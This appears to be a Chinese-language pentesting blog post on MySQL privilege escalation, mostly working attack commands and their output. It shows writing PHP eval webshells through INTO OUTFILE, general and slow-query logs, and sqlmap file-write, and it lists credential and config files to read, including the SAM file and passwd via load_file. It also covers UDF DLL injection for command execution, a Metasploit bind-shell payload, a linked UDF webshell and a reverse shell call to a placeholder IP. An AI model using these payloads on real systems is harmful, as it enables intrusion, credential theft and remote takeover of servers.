有师傅问到我相关的问题,我也正好来研究一下
首先了解一下
MySQL数据库提权思路
- 检测数据库存在,探测端口
- 获得数据库的权限密码
- 查看数据库类型
其中获取密码是账号密码是关键
其中拿到权限的方法基本就这几种
- 3306弱口令爆破
- sqlmap的-sql-shell模式
- 网站的数据库配置文件
- 1day漏洞获取权限
在我自己的理解就是,利用数据库去提权到服务器
简单来说,就是得先有数据库的访问权限才可以,然后通过各种方法提权至操作系统
Webshell权限
知道网站的物理路径并且有该路径写入权限
高权限数据库用户
secure_file_priv无限制load_file ()可用
可以用基础的查询语句看是否有限制
show variables like "secure_file_priv";
mysql> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set, 1 warning (0.01 sec)
value | 说明 |
---|---|
NULL | 不允许导入或导出 |
/tmp | 只允许在 /tmp 目录导入导出 |
空 | 不限制导出的目录 |
其中对MySQL版本中,5.5之前的配置默认是空的,所以可以向任意路径写入文件
在5.5以后配置默认是NULL,这就没办法写入文件
如果满足上面的条件,就可以利用SQL语句写入shell
通过into outfile写入文件
以写入phpinfo为例
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';
或者实际中
Select '<?php eval($_POST[cmd])?>' into outfile '物理路径';
and 1=2 union all select 一句话HEX值 into outfile '路径';
也可以通过创建表进行
CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );
INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>');
SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd://Wh0ale.php';
DROP TABLE IF EXISTS `darkmoon`;
sqlmap的操作
sqlmap -u "http://x.x.x.x/?id=x" --file-write="/path/to/shell.php" --file-dest="/var/www/html/test/shell.php"
研究MySQL可以使用Navicat Premium去研究
在一般情况下Linux系统下分配比较严格
一些常用的系统配置文件
Windows下的
1. c:/boot.ini //查看系统版本
2. c:/windows/php.ini //php配置信息
3. c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
4. c:/winnt/php.ini
5. c:/winnt/my.ini
6. c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
7. c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
8. c:\Program Files\Serv-U\ServUDaemon.ini
9. c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
10. c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
11. c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
12. c:\Program Files\RhinoSoft.com\ServUDaemon.exe
13. C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
14. //存储了pcAnywhere的登陆密码
15. c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
16. c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
17. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
18. d:\APACHE\Apache2\conf\httpd.conf
19. C:\Program Files\mysql\my.ini
20. C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
Linux/Unix下的
1. /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
2. /usr/local/apache2/conf/httpd.conf
3. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
4. /usr/local/app/php5/lib/php.ini //PHP相关设置
5. /etc/sysconfig/iptables //从中得到防火墙规则策略
6. /etc/httpd/conf/httpd.conf // apache配置文件
7. /etc/rsyncd.conf //同步程序配置文件
8. /etc/my.cnf //mysql的配置文件
9. /etc/redhat-release //系统版本
10. /etc/issue
11. /etc/issue.net
12. /usr/local/app/php5/lib/php.ini //PHP相关设置
13. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
14. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
15. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
16. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
17. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
18. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
19. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
20. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
21. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
22. /etc/sysconfig/iptables 查看防火墙策略
23. load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
24. replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
25. replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
通过terminated by写入文件
?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';
通过general log写文件
因为MySQL 5.0以上版本会创建日志文件,可以通过修改日志文件的全局变量来getshell
可以通过语句查询,general_log,一般是默认关闭的,开启后可记录用户输入的每条指令,会把其保存到对应的日志文件中
mysql> show variables like 'general%';
+------------------+--------------------------------------------------------------------------+
| Variable_name | Value |
+------------------+--------------------------------------------------------------------------+
| general_log | OFF |
| general_log_file | D:\phpstudy\phpstudy_pro\Extensions\MySQL5.7.26\data\LAPTOP-CC5EB5VC.log |
+------------------+--------------------------------------------------------------------------+
2 rows in set, 1 warning (0.01 sec)
可以通过feneral_log存储位置改为web目录,同时向日志文件写入内容
# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';
# 查看当前配置
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------+
| Variable_name | Value |
+------------------+-----------------------------+
| general_log | ON |
| general_log_file | /var/www/html/shell.php |
+------------------+-----------------------------+
# 往日志里面写入 payload
select '<?php phpinfo();?>';
写入成功了,但是文件是由MySQL创建的,其他用户没有权限的
当我们去访问时会出现500状态码,Linux 系统这种情况基本上不会成功,只有在 Windows 系统下成功率会高一些,我们对此文件没有read权限
慢查询写入shell
就是利用数据库的慢查询日志功能,通过漏洞或配置问题,执行恶意命令(写入shell)控制服务器
那么什么叫慢查询日志呢?
在MySQL等数据库中呢,慢查询日志是一个记录执行时间超过指定阙值的查询的日志文件,作用是帮助管理员分析哪些查询语句执行的比较慢,从而进行优化
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可精确到微秒
mysql> show global variables like '%long_query_time%';
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 11
Current database: *** NONE ***
+-----------------+-----------+
| Variable_name | Value |
+-----------------+-----------+
| long_query_time | 10.000000 |
+-----------------+-----------+
1 row in set, 1 warning (0.01 sec)
一般执行sql语句是执行时间不会超过10s的,默认是禁用状态
# 开启慢查询日志
set global slow_query_log="ON";
# 设置慢查询的日志路径
set global slow_query_log_file="/var/www/html/x1ong.php";
# 当一个查询超过long_query_time所定义的值的时候,会将该查询记录到日志中
mysql> select '<?php phpinfo();?>' or sleep(10);
+-----------------------------------+
| '<?php phpinfo();?>' or sleep(10) |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set, 1 warning (10.00 sec)
# /var/www/html/x1ong.php 慢查询日志文件中的内容:
/usr/sbin/mysqld, Version: 5.7.38 (MySQL Community Server (GPL)). started with:
Tcp port: 3306 Unix socket: /var/lib/mysql/mysql.sock
Time Id Command Argument
# Time: 2023-07-25T02:26:26.779972Z
# User@Host: root[root] @ localhost [] Id: 3
# Query_time: 10.000190 Lock_time: 0.000000 Rows_sent: 1 Rows_examined: 0
SET timestamp=1690251986;
select '<?php phpinfo();?>' or sleep(10);
写入成功了,但仍然文件是由MySQL创建的,我们是不能去访问的,但是可以用webshell工具了就
Hash破解
这种就假设SQL注入存在DBA提权(即数据库管理员,超级权限用户)同时我们对3306端口可访问的通,就可以通过提取MySQL的hash来解密
对MySQL版本有要求,要求MySQL版本 <= 5.6 (基本比较少见了)
UDF提权
UDF -- user defined function - 自定义函数,数据库功能的扩展,用户可以通过自定义函数可实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数version()一样,但是对MySQL版本仍然有限制,紧使用于MySQL 5.5.9以下版本
动态链接库
如果是MySQL >= 5.1版本,必须把UDF的动态链接库文件放置于MySQL安装目录下的lib/plugin文件夹下才能创建自定义函数
sqlmap中的动态链接文件
/path/to/sqlmap/data/udf/mysql
其中sqlmap自带的动态链接库为了防止被误杀都经过了编码处理,不能被直接使用,都是需要他自带的脚本进行解码后使用的(cloak.py)
msf中的动态链接库文件
/path/to/msf/embedded/framework/data/exploits/mysql
插入目录存放位置
show variables like '%plugin%';
写入动态链接库
SQL注入且最高权限,plugin目录可以写且需要secure_file_priv无限制,MySQL插件目录可以被MySQL用户写入,可以通过sqlmap来上传动态链接库,又因为GET有字节长度限制,所以常通过POST注入才可以执行攻击
sqlmap -u "http://172.20.10.5/sql/Less-1/" --data="id=1" \
--file-write="/Users/x1ong/Downloads/lib_mysqludf_sys_32.dll" \
--file-dest="C:/phpStudy/PHPTutorial/MySQL/lib/plugin/udf.dll"
执行sql语句
将动态链接库文件先在本地进行十六进制编码,接着将编码的内容导出至 udf.txt
文件中(需要有 secure_file_priv
权限)
mysql> select hex(load_file('C:\lib_mysqludf_sys_32.dll')) into dumpfile C:\udf.txt";
Query OK, 1 row affected (0.00 sec)
其中这里必须使用dumpfike,由于outfile导出的末行有换行符,导致内容跟原文件内容存在差异,这一步得到lib_mysqludf_sys_32.dll
文件的十六进制内容
可利用MySQL自带的hex函数来编码
selext 0x4D5A90000300000004000000FFFF..... into dumpfile "C:/phpStudy/PHPTutorial/MySQL/lib/plugin/udf.dll"
执行sql命令写入dll文件可使用load_file()函数查看该文件
创建自定义函数
mysql> select * from mysql.func;
Empty set (0.00 sec)
命令执行即可
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('whoami');
mysql> select sys_eval("whoami");
+-------------------------------+
| sys_eval("whoami") |
+-------------------------------+
| win-ehv7hmk07c1\administrator |
+-------------------------------+
1 row in set (0.06 sec)
删除函数
mysql > drop function sys_eval;
msf相关模块的利用
利用条件是mysql运行远程登陆
msf6 > set payload linux/x86/shell/bind_tcp
UDF shell
假设目标 MySQL 在内网情况下,无法直连 MySQL 或者 MySQL 不允许外连,这个时候一些网页脚本就比较方便好用了
UDF 命令执行大马:https://github.com/echohun/tools/blob/master/大马/udf.php
反弹shell提权
cmdshell # 执行cmd
downloader # 下载者,到网上下载指定文件并保存到指定目录
open3389 # 通用开3389终端服务,可指定端口(不改端口无需重启)
backshell # 反弹Shell
ProcessView # 枚举系统进程
KillProcess # 终止指定进程
regread # 读注册表
regwrite # 写注册表
shut # 关机,注销,重启
about # 说明与帮助函数
相比其他方法这个有些老了
也是利用动态链接库
这里有两个
在攻击机上开启监听,然后再在目标机上导入dll动态链接库创建自定义函数
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
进行反弹shell
select backshell("IP", 2333);
持续更新~~~